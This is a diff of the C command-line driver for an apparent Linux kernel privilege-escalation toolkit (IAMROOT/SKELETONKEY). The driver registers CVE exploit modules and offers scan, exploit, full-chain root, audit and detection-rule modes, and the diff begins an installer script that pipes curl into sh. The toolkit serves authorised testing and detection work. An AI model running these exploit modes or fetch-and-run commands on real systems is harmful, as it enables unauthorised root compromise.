" ██║██║ ██║██║ ╚═╝ ██║██║ ██║╚██████╔╝╚██████╔╝ ██║ \n"
|
||||
" ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ \n"
|
||||
" Curated Linux kernel LPE corpus — v" IAMROOT_VERSION "\n"
|
||||
" AUTHORIZED TESTING ONLY — see docs/ETHICS.md\n";
|
||||
|
||||
static void usage(const char *prog)
|
||||
{
|
||||
fprintf(stderr,
|
||||
"Usage: %s [MODE] [OPTIONS]\n"
|
||||
"\n"
|
||||
"Modes (default: --scan):\n"
|
||||
" --scan run every module's detect() across the host\n"
|
||||
" --list list registered modules and exit\n"
|
||||
" --exploit <name> run named module's exploit (REQUIRES --i-know)\n"
|
||||
" --mitigate <name> apply named module's mitigation\n"
|
||||
" --cleanup <name> undo named module's exploit/mitigate side effects\n"
|
||||
" --detect-rules dump detection rules for every module\n"
|
||||
" (combine with --format=auditd|sigma|yara|falco)\n"
|
||||
" --module-info <name> full metadata + rule bodies for one module\n"
|
||||
" (combine with --json for machine-readable output)\n"
|
||||
" --audit system-hygiene scan: setuid binaries, world-writable\n"
|
||||
" files in /etc, file capabilities, sudo NOPASSWD\n"
|
||||
" (complements --scan; answers 'is this box\n"
|
||||
" generally privesc-exposed?')\n"
|
||||
" --version print version\n"
|
||||
" --help this message\n"
|
||||
"\n"
|
||||
"Options:\n"
|
||||
" --i-know authorization gate for --exploit modes\n"
|
||||
" --active in --scan, do invasive sentinel probes (no /etc/passwd writes)\n"
|
||||
" --no-shell in --exploit modes, prepare but don't drop to shell\n"
|
||||
" --full-chain in --exploit modes, attempt full root-pop after primitive\n"
|
||||
" (the 🟡 modules return primitive-only by default; with\n"
|
||||
" --full-chain they continue to leak → arb-write →\n"
|
||||
" modprobe_path overwrite. Requires resolvable kernel\n"
|
||||
" offsets — env vars, /proc/kallsyms, or /boot/System.map.\n"
|
||||
" See docs/OFFSETS.md.)\n"
|
||||
" --json machine-readable output (for SIEM/CI)\n"
|
||||
" --no-color disable ANSI color codes\n"
|
||||
" --format <f> with --detect-rules: auditd (default), sigma, yara, falco\n"
|
||||
"\n"
|
||||
"Exit codes:\n"
|
||||
" 0 not vulnerable / OK 2 vulnerable 5 exploit succeeded\n"
|
||||
" 1 test error 3 exploit failed 4 preconditions missing\n",
|
||||
prog);
|
||||
}
|
||||
|
||||
enum mode {
|
||||
MODE_SCAN,
|
||||
MODE_LIST,
|
||||
MODE_EXPLOIT,
|
||||
MODE_MITIGATE,
|
||||
MODE_CLEANUP,
|
||||
MODE_DETECT_RULES,
|
||||
MODE_MODULE_INFO,
|
||||
MODE_AUDIT,
|
||||
MODE_HELP,
|
||||
MODE_VERSION,
|
||||
};
|
||||
|
||||
enum detect_format {
|
||||
FMT_AUDITD,
|
||||
FMT_SIGMA,
|
||||
FMT_YARA,
|
||||
FMT_FALCO,
|
||||
};
|
||||
|
||||
static const char *result_str(iamroot_result_t r)
|
||||
{
|
||||
switch (r) {
|
||||
case IAMROOT_OK: return "OK";
|
||||
case IAMROOT_TEST_ERROR: return "ERROR";
|
||||
case IAMROOT_VULNERABLE: return "VULNERABLE";
|
||||
case IAMROOT_EXPLOIT_FAIL: return "EXPLOIT_FAIL";
|
||||
case IAMROOT_PRECOND_FAIL: return "PRECOND_FAIL";
|
||||
case IAMROOT_EXPLOIT_OK: return "EXPLOIT_OK";
|
||||
}
|
||||
return "?";
|
||||
}
|
||||
|
||||
/* JSON-escape a string for inclusion in stdout output. Quick + safe:
|
||||
* escapes \" and \\ and newlines; passes through ASCII printable.
|
||||
* Caller must call json_escape_done() to free the result. */
|
||||
static char *json_escape(const char *s)
|
||||
{
|
||||
if (s == NULL) return NULL;
|
||||
size_t n = strlen(s);
|
||||
char *out = malloc(n * 2 + 1); /* worst case: every char doubles */
|
||||
if (!out) return NULL;
|
||||
char *p = out;
|
||||
for (size_t i = 0; i < n; i++) {
|
||||
unsigned char c = (unsigned char)s[i];
|
||||
if (c == '"' || c == '\\') { *p++ = '\\'; *p++ = c; }
|
||||
else if (c == '\n') { *p++ = '\\'; *p++ = 'n'; }
|
||||
else if (c == '\r') { *p++ = '\\'; *p++ = 'r'; }
|
||||
else if (c == '\t') { *p++ = '\\'; *p++ = 't'; }
|
||||
else if (c < 0x20) { /* skip — should be rare in our strings */ }
|
||||
else *p++ = c;
|
||||
}
|
||||
*p = 0;
|
||||
return out;
|
||||
}
|
||||
|
||||
static void emit_module_json(const struct iamroot_module *m, bool include_rules)
|
||||
{
|
||||
char *name = json_escape(m->name);
|
||||
char *cve = json_escape(m->cve);
|
||||
char *summary = json_escape(m->summary);
|
||||
char *family = json_escape(m->family);
|
||||
char *krange = json_escape(m->kernel_range);
|
||||
fprintf(stdout,
|
||||
"{\"name\":\"%s\",\"cve\":\"%s\",\"family\":\"%s\","
|
||||
"\"kernel_range\":\"%s\",\"summary\":\"%s\","
|
||||
"\"has\":{\"detect\":%s,\"exploit\":%s,\"mitigate\":%s,\"cleanup\":%s,"
|
||||
"\"auditd\":%s,\"sigma\":%s,\"yara\":%s,\"falco\":%s}",
|
||||
name ? name : "",
|
||||
cve ? cve : "",
|
||||
family ? family : "",
|
||||
krange ? krange : "",
|
||||
summary ? summary : "",
|
||||
m->detect ? "true" : "false",
|
||||
m->exploit ? "true" : "false",
|
||||
m->mitigate ? "true" : "false",
|
||||
m->cleanup ? "true" : "false",
|
||||
m->detect_auditd ? "true" : "false",
|
||||
m->detect_sigma ? "true" : "false",
|
||||
m->detect_yara ? "true" : "false",
|
||||
m->detect_falco ? "true" : "false");
|
||||
if (include_rules) {
|
||||
/* Embed the actual rule text. Useful for --module-info. */
|
||||
char *aud = json_escape(m->detect_auditd);
|
||||
char *sig = json_escape(m->detect_sigma);
|
||||
char *yar = json_escape(m->detect_yara);
|
||||
char *fal = json_escape(m->detect_falco);
|
||||
fprintf(stdout,
|
||||
",\"detect_rules\":{\"auditd\":%s%s%s,\"sigma\":%s%s%s,"
|
||||
"\"yara\":%s%s%s,\"falco\":%s%s%s}",
|
||||
aud ? "\"" : "", aud ? aud : "null", aud ? "\"" : "",
|
||||
sig ? "\"" : "", sig ? sig : "null", sig ? "\"" : "",
|
||||
yar ? "\"" : "", yar ? yar : "null", yar ? "\"" : "",
|
||||
fal ? "\"" : "", fal ? fal : "null", fal ? "\"" : "");
|
||||
free(aud); free(sig); free(yar); free(fal);
|
||||
}
|
||||
fprintf(stdout, "}");
|
||||
free(name); free(cve); free(summary); free(family); free(krange);
|
||||
}
|
||||
|
||||
static int cmd_list(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
size_t n = iamroot_module_count();
|
||||
if (ctx->json) {
|
||||
fprintf(stdout, "{\"version\":\"%s\",\"modules\":[", IAMROOT_VERSION);
|
||||
for (size_t i = 0; i < n; i++) {
|
||||
if (i) fputc(',', stdout);
|
||||
emit_module_json(iamroot_module_at(i), false);
|
||||
}
|
||||
fprintf(stdout, "]}\n");
|
||||
return 0;
|
||||
}
|
||||
fprintf(stdout, "%-20s %-18s %-25s %s\n",
|
||||
"NAME", "CVE", "FAMILY", "SUMMARY");
|
||||
fprintf(stdout, "%-20s %-18s %-25s %s\n",
|
||||
"----", "---", "------", "-------");
|
||||
for (size_t i = 0; i < n; i++) {
|
||||
const struct iamroot_module *m = iamroot_module_at(i);
|
||||
fprintf(stdout, "%-20s %-18s %-25s %s\n",
|
||||
m->name, m->cve, m->family, m->summary);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* --audit: system-hygiene scan beyond per-CVE detect. Inventories
|
||||
* setuid binaries, world-writable system files, capability-bound
|
||||
* non-standard binaries, NOPASSWD sudo entries. Complements --scan;
|
||||
* answers "is this box generally exposed to privesc?" beyond
|
||||
* "does it have any of the known kernel CVEs?".
|
||||
*
|
||||
* Output is structured findings. --json switches to a single JSON
|
||||
* object with arrays per category. Side-effect-free: read-only
|
||||
* filesystem walks. */
|
||||
struct finding {
|
||||
const char *category; /* "setuid", "world_writable", "capability", "sudo" */
|
||||
char path[512];
|
||||
char note[256];
|
||||
};
|
||||
|
||||
static void print_finding_human(const struct finding *f)
|
||||
{
|
||||
fprintf(stdout, "[%-15s] %-50s %s\n",
|
||||
f->category, f->path, f->note);
|
||||
}
|
||||
|
||||
/* Walk one filesystem path looking for setuid-root binaries. Bounded
|
||||
* via find(1) for portability (every distro ships find). */
|
||||
static int audit_setuid(int *count_out, bool json,
|
||||
bool *first_json_emitted)
|
||||
{
|
||||
/* Use popen() on `find` rather than recursive opendir() — much
|
||||
* simpler, every distro ships find. Limit to common
|
||||
* binary-bearing dirs to keep runtime reasonable. */
|
||||
static const char *cmd =
|
||||
"find /usr/bin /usr/sbin /bin /sbin /usr/local/bin /usr/local/sbin "
|
||||
"-xdev -perm -4000 -type f 2>/dev/null";
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return -1;
|
||||
char line[1024];
|
||||
int n = 0;
|
||||
/* Set of suspicious binaries — these are notable in the LPE world.
|
||||
* The full setuid inventory is informational; this list flags
|
||||
* specific items as "review this". */
|
||||
static const struct { const char *path; const char *note; } SUSP[] = {
|
||||
{"/usr/bin/pkexec", "Pwnkit CVE-2021-4034 history; tightly audit polkit policy"},
|
||||
{"/usr/bin/mount.cifs", "historically setuid-root; check distro hardening"},
|
||||
{"/usr/bin/fusermount3", "historically setuid; userns-related LPE history"},
|
||||
{"/usr/bin/passwd", "expected setuid; verify integrity"},
|
||||
{"/usr/bin/sudo", "expected setuid; verify integrity + sudoers"},
|
||||
{"/usr/bin/su", "expected setuid; verify integrity"},
|
||||
{"/usr/lib/snapd/snap-confine", "Ubuntu snap sandbox-escape history"},
|
||||
{NULL, NULL},
|
||||
};
|
||||
while (fgets(line, sizeof line, p)) {
|
||||
size_t L = strlen(line);
|
||||
while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
|
||||
const char *note = "setuid binary — review";
|
||||
for (size_t i = 0; SUSP[i].path; i++) {
|
||||
if (strcmp(line, SUSP[i].path) == 0) { note = SUSP[i].note; break; }
|
||||
}
|
||||
if (json) {
|
||||
char *p_esc = json_escape(line);
|
||||
char *n_esc = json_escape(note);
|
||||
fprintf(stdout, "%s{\"category\":\"setuid\",\"path\":\"%s\",\"note\":\"%s\"}",
|
||||
*first_json_emitted ? "," : "",
|
||||
p_esc ? p_esc : "", n_esc ? n_esc : "");
|
||||
*first_json_emitted = true;
|
||||
free(p_esc); free(n_esc);
|
||||
} else {
|
||||
struct finding f = { .category = "setuid" };
|
||||
snprintf(f.path, sizeof f.path, "%s", line);
|
||||
snprintf(f.note, sizeof f.note, "%s", note);
|
||||
print_finding_human(&f);
|
||||
}
|
||||
n++;
|
||||
}
|
||||
pclose(p);
|
||||
if (count_out) *count_out = n;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Look for world-writable files inside /etc. Catches obviously-broken
|
||||
* filesystem permissions where any user can edit system config. */
|
||||
static int audit_world_writable(int *count_out, bool json,
|
||||
bool *first_json_emitted)
|
||||
{
|
||||
static const char *cmd =
|
||||
"find /etc -xdev -perm -0002 -type f 2>/dev/null";
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return -1;
|
||||
char line[1024];
|
||||
int n = 0;
|
||||
while (fgets(line, sizeof line, p)) {
|
||||
size_t L = strlen(line);
|
||||
while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
|
||||
const char *note = "world-writable in /etc — anyone can edit";
|
||||
if (json) {
|
||||
char *p_esc = json_escape(line);
|
||||
fprintf(stdout, "%s{\"category\":\"world_writable\",\"path\":\"%s\",\"note\":\"%s\"}",
|
||||
*first_json_emitted ? "," : "", p_esc ? p_esc : "", note);
|
||||
*first_json_emitted = true;
|
||||
free(p_esc);
|
||||
} else {
|
||||
struct finding f = { .category = "world_writable" };
|
||||
snprintf(f.path, sizeof f.path, "%s", line);
|
||||
snprintf(f.note, sizeof f.note, "%s", note);
|
||||
print_finding_human(&f);
|
||||
}
|
||||
n++;
|
||||
}
|
||||
pclose(p);
|
||||
if (count_out) *count_out = n;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Find files with file capabilities set. cap_setuid+ep or
|
||||
* cap_dac_override+ep on a non-standard binary = potential
|
||||
* post-exploit persistence or a misconfigured capability grant. */
|
||||
static int audit_capabilities(int *count_out, bool json,
|
||||
bool *first_json_emitted)
|
||||
{
|
||||
/* getcap is in libcap2-bin / libcap-progs depending on distro;
|
||||
* skip cleanly if absent. */
|
||||
if (access("/sbin/getcap", X_OK) != 0
|
||||
&& access("/usr/sbin/getcap", X_OK) != 0
|
||||
&& access("/usr/bin/getcap", X_OK) != 0) {
|
||||
if (!json) {
|
||||
fprintf(stderr, "[i] audit: getcap not installed — skipping capability scan\n");
|
||||
}
|
||||
if (count_out) *count_out = 0;
|
||||
return 0;
|
||||
}
|
||||
static const char *cmd =
|
||||
"getcap -r /usr/bin /usr/sbin /bin /sbin /usr/local 2>/dev/null";
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return -1;
|
||||
char line[1024];
|
||||
int n = 0;
|
||||
while (fgets(line, sizeof line, p)) {
|
||||
size_t L = strlen(line);
|
||||
while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
|
||||
const char *note = "file capability set — verify legitimacy";
|
||||
if (strstr(line, "cap_setuid+ep") || strstr(line, "cap_setgid+ep")
|
||||
|| strstr(line, "cap_dac_override+ep") || strstr(line, "cap_sys_admin+ep")) {
|
||||
note = "high-power cap+ep — privesc-equivalent if attacker-writable";
|
||||
}
|
||||
if (json) {
|
||||
char *p_esc = json_escape(line);
|
||||
fprintf(stdout, "%s{\"category\":\"capability\",\"path\":\"%s\",\"note\":\"%s\"}",
|
||||
*first_json_emitted ? "," : "", p_esc ? p_esc : "", note);
|
||||
*first_json_emitted = true;
|
||||
free(p_esc);
|
||||
} else {
|
||||
struct finding f = { .category = "capability" };
|
||||
snprintf(f.path, sizeof f.path, "%s", line);
|
||||
snprintf(f.note, sizeof f.note, "%s", note);
|
||||
print_finding_human(&f);
|
||||
}
|
||||
n++;
|
||||
}
|
||||
pclose(p);
|
||||
if (count_out) *count_out = n;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Check /etc/sudoers and /etc/sudoers.d for NOPASSWD entries. Many
|
||||
* setups have legit NOPASSWD for service accounts; flag and let
|
||||
* operator review. */
|
||||
static int audit_sudo_nopasswd(int *count_out, bool json,
|
||||
bool *first_json_emitted)
|
||||
{
|
||||
static const char *cmd =
|
||||
"grep -rIn -E '^[^#].*NOPASSWD' /etc/sudoers /etc/sudoers.d 2>/dev/null";
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return -1;
|
||||
char line[1024];
|
||||
int n = 0;
|
||||
while (fgets(line, sizeof line, p)) {
|
||||
size_t L = strlen(line);
|
||||
while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
|
||||
const char *note = "sudo NOPASSWD entry — verify scope";
|
||||
if (json) {
|
||||
char *p_esc = json_escape(line);
|
||||
fprintf(stdout, "%s{\"category\":\"sudo\",\"path\":\"%s\",\"note\":\"%s\"}",
|
||||
*first_json_emitted ? "," : "", p_esc ? p_esc : "", note);
|
||||
*first_json_emitted = true;
|
||||
free(p_esc);
|
||||
} else {
|
||||
struct finding f = { .category = "sudo" };
|
||||
snprintf(f.path, sizeof f.path, "%s", line);
|
||||
snprintf(f.note, sizeof f.note, "%s", note);
|
||||
print_finding_human(&f);
|
||||
}
|
||||
n++;
|
||||
}
|
||||
pclose(p);
|
||||
if (count_out) *count_out = n;
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int cmd_audit(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
int n_setuid = 0, n_ww = 0, n_cap = 0, n_sudo = 0;
|
||||
if (ctx->json) {
|
||||
fprintf(stdout, "{\"version\":\"%s\",\"audit\":[", IAMROOT_VERSION);
|
||||
bool first = false;
|
||||
audit_setuid(&n_setuid, true, &first);
|
||||
audit_world_writable(&n_ww, true, &first);
|
||||
audit_capabilities(&n_cap, true, &first);
|
||||
audit_sudo_nopasswd(&n_sudo, true, &first);
|
||||
fprintf(stdout, "],\"summary\":{\"setuid\":%d,\"world_writable\":%d,"
|
||||
"\"capability\":%d,\"sudo_nopasswd\":%d}}\n",
|
||||
n_setuid, n_ww, n_cap, n_sudo);
|
||||
} else {
|
||||
fprintf(stdout, "%-17s %-50s %s\n", "CATEGORY", "PATH", "NOTE");
|
||||
fprintf(stdout, "%-17s %-50s %s\n", "--------", "----", "----");
|
||||
bool first = false;
|
||||
audit_setuid(&n_setuid, false, &first);
|
||||
audit_world_writable(&n_ww, false, &first);
|
||||
audit_capabilities(&n_cap, false, &first);
|
||||
audit_sudo_nopasswd(&n_sudo, false, &first);
|
||||
fprintf(stderr, "\n[*] audit summary: %d setuid, %d world-writable, "
|
||||
"%d capability-set, %d sudo NOPASSWD\n",
|
||||
n_setuid, n_ww, n_cap, n_sudo);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* --module-info <name>: dump everything we know about one module.
|
||||
* Human-readable by default, JSON with --json. Includes the full
|
||||
* detection-rule text bodies for that module. */
|
||||
static int cmd_module_info(const char *name, const struct iamroot_ctx *ctx)
|
||||
{
|
||||
const struct iamroot_module *m = iamroot_module_find(name);
|
||||
if (!m) {
|
||||
if (ctx->json) {
|
||||
fprintf(stdout, "{\"error\":\"module not found\",\"name\":\"%s\"}\n", name);
|
||||
} else {
|
||||
fprintf(stderr, "[-] no module '%s'. Try --list.\n", name);
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
if (ctx->json) {
|
||||
emit_module_json(m, true);
|
||||
fputc('\n', stdout);
|
||||
return 0;
|
||||
}
|
||||
fprintf(stdout, "name: %s\n", m->name);
|
||||
fprintf(stdout, "cve: %s\n", m->cve);
|
||||
fprintf(stdout, "family: %s\n", m->family);
|
||||
fprintf(stdout, "kernel_range: %s\n", m->kernel_range);
|
||||
fprintf(stdout, "summary: %s\n", m->summary);
|
||||
fprintf(stdout, "operations: %s%s%s%s\n",
|
||||
m->detect ? "detect " : "",
|
||||
m->exploit ? "exploit " : "",
|
||||
m->mitigate ? "mitigate " : "",
|
||||
m->cleanup ? "cleanup " : "");
|
||||
fprintf(stdout, "detect rules: %s%s%s%s\n",
|
||||
m->detect_auditd ? "auditd " : "",
|
||||
m->detect_sigma ? "sigma " : "",
|
||||
m->detect_yara ? "yara " : "",
|
||||
m->detect_falco ? "falco " : "");
|
||||
if (m->detect_auditd) {
|
||||
fprintf(stdout, "\n--- auditd rules ---\n%s", m->detect_auditd);
|
||||
}
|
||||
if (m->detect_sigma) {
|
||||
fprintf(stdout, "\n--- sigma rule ---\n%s", m->detect_sigma);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int cmd_scan(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
int worst = 0;
|
||||
size_t n = iamroot_module_count();
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] iamroot scan: %zu module(s) registered\n", n);
|
||||
} else {
|
||||
fprintf(stdout, "{\"version\":\"%s\",\"modules\":[", IAMROOT_VERSION);
|
||||
}
|
||||
for (size_t i = 0; i < n; i++) {
|
||||
const struct iamroot_module *m = iamroot_module_at(i);
|
||||
if (m->detect == NULL) continue;
|
||||
iamroot_result_t r = m->detect(ctx);
|
||||
if (ctx->json) {
|
||||
fprintf(stdout, "%s{\"name\":\"%s\",\"cve\":\"%s\",\"result\":\"%s\"}",
|
||||
(i == 0 ? "" : ","), m->name, m->cve, result_str(r));
|
||||
} else {
|
||||
fprintf(stdout, "[%s] %-20s %-18s %s\n",
|
||||
result_str(r), m->name, m->cve, m->summary);
|
||||
}
|
||||
/* track worst (highest) result code as overall exit */
|
||||
if ((int)r > worst) worst = (int)r;
|
||||
}
|
||||
if (ctx->json) {
|
||||
fprintf(stdout, "]}\n");
|
||||
}
|
||||
return worst;
|
||||
}
|
||||
|
||||
/* Dump detection rules for every registered module in the requested
|
||||
* format. Modules that don't ship a rule for that format are simply
|
||||
* skipped (no error). Output goes to stdout so it can be redirected
|
||||
* straight into /etc/audit/rules.d/, the SIEM, etc. */
|
||||
static int cmd_detect_rules(enum detect_format fmt)
|
||||
{
|
||||
static const char *fmt_names[] = {
|
||||
[FMT_AUDITD] = "auditd",
|
||||
[FMT_SIGMA] = "sigma",
|
||||
[FMT_YARA] = "yara",
|
||||
[FMT_FALCO] = "falco",
|
||||
};
|
||||
size_t n = iamroot_module_count();
|
||||
fprintf(stdout, "# IAMROOT detection rules — format: %s\n", fmt_names[fmt]);
|
||||
fprintf(stdout, "# Generated from %zu registered modules\n", n);
|
||||
fprintf(stdout, "# AUTHORIZED-TESTING tool; see docs/ETHICS.md\n\n");
|
||||
/* Dedup by pointer: family-shared rule strings (e.g. all 5
|
||||
* copy_fail_family modules share one auditd rule string) would
|
||||
* otherwise emit identical blocks once per module. */
|
||||
const char *seen[64] = {0};
|
||||
size_t n_seen = 0;
|
||||
int emitted = 0;
|
||||
for (size_t i = 0; i < n; i++) {
|
||||
const struct iamroot_module *m = iamroot_module_at(i);
|
||||
const char *rules = NULL;
|
||||
switch (fmt) {
|
||||
case FMT_AUDITD: rules = m->detect_auditd; break;
|
||||
case FMT_SIGMA: rules = m->detect_sigma; break;
|
||||
case FMT_YARA: rules = m->detect_yara; break;
|
||||
case FMT_FALCO: rules = m->detect_falco; break;
|
||||
}
|
||||
if (rules == NULL) continue;
|
||||
/* Already emitted? */
|
||||
bool dup = false;
|
||||
for (size_t k = 0; k < n_seen; k++) {
|
||||
if (seen[k] == rules) { dup = true; break; }
|
||||
}
|
||||
if (dup) {
|
||||
fprintf(stdout, "# === %s (%s) — see family rules above ===\n\n",
|
||||
m->name, m->cve);
|
||||
continue;
|
||||
}
|
||||
if (n_seen < sizeof(seen)/sizeof(seen[0])) seen[n_seen++] = rules;
|
||||
fprintf(stdout, "# === %s (%s) ===\n", m->name, m->cve);
|
||||
fputs(rules, stdout);
|
||||
fputc('\n', stdout);
|
||||
emitted++;
|
||||
}
|
||||
fprintf(stderr, "[*] emitted detection rules for %d / %zu module(s) (format: %s)\n",
|
||||
emitted, n, fmt_names[fmt]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int cmd_one(const struct iamroot_module *m, const char *op,
|
||||
const struct iamroot_ctx *ctx)
|
||||
{
|
||||
iamroot_result_t (*fn)(const struct iamroot_ctx *) = NULL;
|
||||
if (strcmp(op, "exploit") == 0) fn = m->exploit;
|
||||
else if (strcmp(op, "mitigate") == 0) fn = m->mitigate;
|
||||
else if (strcmp(op, "cleanup") == 0) fn = m->cleanup;
|
||||
|
||||
if (fn == NULL) {
|
||||
fprintf(stderr, "[-] module '%s' has no %s operation\n", m->name, op);
|
||||
return 1;
|
||||
}
|
||||
iamroot_result_t r = fn(ctx);
|
||||
fprintf(stderr, "[*] %s --%s result: %s\n", m->name, op, result_str(r));
|
||||
return (int)r;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
/* Bring up the module registry. As new families land, add their
|
||||
* register_* call here. */
|
||||
iamroot_register_copy_fail_family();
|
||||
iamroot_register_dirty_pipe();
|
||||
iamroot_register_entrybleed();
|
||||
iamroot_register_pwnkit();
|
||||
iamroot_register_nf_tables();
|
||||
iamroot_register_overlayfs();
|
||||
iamroot_register_cls_route4();
|
||||
iamroot_register_dirty_cow();
|
||||
iamroot_register_ptrace_traceme();
|
||||
iamroot_register_netfilter_xtcompat();
|
||||
iamroot_register_af_packet();
|
||||
iamroot_register_fuse_legacy();
|
||||
iamroot_register_stackrot();
|
||||
iamroot_register_af_packet2();
|
||||
iamroot_register_cgroup_release_agent();
|
||||
iamroot_register_overlayfs_setuid();
|
||||
iamroot_register_nft_set_uaf();
|
||||
iamroot_register_af_unix_gc();
|
||||
iamroot_register_nft_fwd_dup();
|
||||
iamroot_register_nft_payload();
|
||||
|
||||
enum mode mode = MODE_SCAN;
|
||||
struct iamroot_ctx ctx = {0};
|
||||
const char *target = NULL;
|
||||
int i_know = 0;
|
||||
|
||||
enum detect_format dr_fmt = FMT_AUDITD;
|
||||
static struct option longopts[] = {
|
||||
{"scan", no_argument, 0, 'S'},
|
||||
{"list", no_argument, 0, 'L'},
|
||||
{"exploit", required_argument, 0, 'E'},
|
||||
{"mitigate", required_argument, 0, 'M'},
|
||||
{"cleanup", required_argument, 0, 'C'},
|
||||
{"detect-rules", no_argument, 0, 'D'},
|
||||
{"module-info", required_argument, 0, 'I'},
|
||||
{"audit", no_argument, 0, 'A'},
|
||||
{"format", required_argument, 0, 6 },
|
||||
{"i-know", no_argument, 0, 1 },
|
||||
{"active", no_argument, 0, 2 },
|
||||
{"no-shell", no_argument, 0, 3 },
|
||||
{"json", no_argument, 0, 4 },
|
||||
{"no-color", no_argument, 0, 5 },
|
||||
{"full-chain", no_argument, 0, 7 },
|
||||
{"version", no_argument, 0, 'V'},
|
||||
{"help", no_argument, 0, 'h'},
|
||||
{0, 0, 0, 0}
|
||||
};
|
||||
|
||||
int c, opt_idx;
|
||||
while ((c = getopt_long(argc, argv, "SLDAE:M:C:I:Vh", longopts, &opt_idx)) != -1) {
|
||||
switch (c) {
|
||||
case 'S': mode = MODE_SCAN; break;
|
||||
case 'L': mode = MODE_LIST; break;
|
||||
case 'D': mode = MODE_DETECT_RULES; break;
|
||||
case 'A': mode = MODE_AUDIT; break;
|
||||
case 'I': mode = MODE_MODULE_INFO; target = optarg; break;
|
||||
case 'E': mode = MODE_EXPLOIT; target = optarg; break;
|
||||
case 'M': mode = MODE_MITIGATE; target = optarg; break;
|
||||
case 'C': mode = MODE_CLEANUP; target = optarg; break;
|
||||
case 1 : i_know = 1; ctx.authorized = true; break;
|
||||
case 2 : ctx.active_probe = true; break;
|
||||
case 3 : ctx.no_shell = true; break;
|
||||
case 4 : ctx.json = true; break;
|
||||
case 5 : ctx.no_color = true; break;
|
||||
case 7 : ctx.full_chain = true; break;
|
||||
case 6 :
|
||||
if (strcmp(optarg, "auditd") == 0) dr_fmt = FMT_AUDITD;
|
||||
else if (strcmp(optarg, "sigma") == 0) dr_fmt = FMT_SIGMA;
|
||||
else if (strcmp(optarg, "yara") == 0) dr_fmt = FMT_YARA;
|
||||
else if (strcmp(optarg, "falco") == 0) dr_fmt = FMT_FALCO;
|
||||
else { fprintf(stderr, "[-] unknown --format: %s\n", optarg); return 1; }
|
||||
break;
|
||||
case 'V': printf("iamroot %s\n", IAMROOT_VERSION); return 0;
|
||||
case 'h': mode = MODE_HELP; break;
|
||||
default: usage(argv[0]); return 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (mode == MODE_HELP) {
|
||||
fputs(BANNER, stderr);
|
||||
usage(argv[0]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (!ctx.json) fputs(BANNER, stderr);
|
||||
|
||||
if (mode == MODE_SCAN) return cmd_scan(&ctx);
|
||||
if (mode == MODE_LIST) return cmd_list(&ctx);
|
||||
if (mode == MODE_MODULE_INFO) return cmd_module_info(target, &ctx);
|
||||
if (mode == MODE_DETECT_RULES) return cmd_detect_rules(dr_fmt);
|
||||
if (mode == MODE_AUDIT) return cmd_audit(&ctx);
|
||||
|
||||
/* --exploit / --mitigate / --cleanup all take a target */
|
||||
if (target == NULL) {
|
||||
fprintf(stderr, "[-] mode requires a module name\n");
|
||||
return 1;
|
||||
}
|
||||
const struct iamroot_module *m = iamroot_module_find(target);
|
||||
if (m == NULL) {
|
||||
fprintf(stderr, "[-] no module '%s'. Try --list.\n", target);
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (mode == MODE_EXPLOIT) {
|
||||
if (!i_know) {
|
||||
fprintf(stderr,
|
||||
"[-] --exploit requires --i-know. This will attempt to gain\n"
|
||||
" root and corrupt /etc/passwd in the page cache.\n"
|
||||
" Authorized testing only. See docs/ETHICS.md.\n");
|
||||
return 1;
|
||||
}
|
||||
return cmd_one(m, "exploit", &ctx);
|
||||
}
|
||||
if (mode == MODE_MITIGATE) return cmd_one(m, "mitigate", &ctx);
|
||||
if (mode == MODE_CLEANUP) return cmd_one(m, "cleanup", &ctx);
|
||||
|
||||
usage(argv[0]);
|
||||
return 1;
|
||||
}
|
||||
+29
-29
@@ -1,19 +1,19 @@
|
||||
#!/usr/bin/env bash
|
||||
# IAMROOT one-shot installer.
|
||||
# SKELETONKEY one-shot installer.
|
||||
#
|
||||
# Usage:
|
||||
# curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
|
||||
# curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||
#
|
||||
# Or with explicit version:
|
||||
# IAMROOT_VERSION=v0.1.0 curl ... | sh
|
||||
# SKELETONKEY_VERSION=v0.1.0 curl ... | sh
|
||||
#
|
||||
# Or install to a different prefix:
|
||||
# IAMROOT_PREFIX=$HOME/.local/bin curl ... | sh
|
||||
# SKELETONKEY_PREFIX=$HOME/.local/bin curl ... | sh
|
||||
#
|
||||
# Environment:
|
||||
# IAMROOT_VERSION release tag (default: latest)
|
||||
# IAMROOT_PREFIX install dir (default: /usr/local/bin if writable, else error)
|
||||
# IAMROOT_REPO override repo (default: KaraZajac/IAMROOT)
|
||||
# SKELETONKEY_VERSION release tag (default: latest)
|
||||
# SKELETONKEY_PREFIX install dir (default: /usr/local/bin if writable, else error)
|
||||
# SKELETONKEY_REPO override repo (default: KaraZajac/SKELETONKEY)
|
||||
#
|
||||
# Exit codes:
|
||||
# 0 — installed successfully
|
||||
@@ -21,9 +21,9 @@
|
||||
|
||||
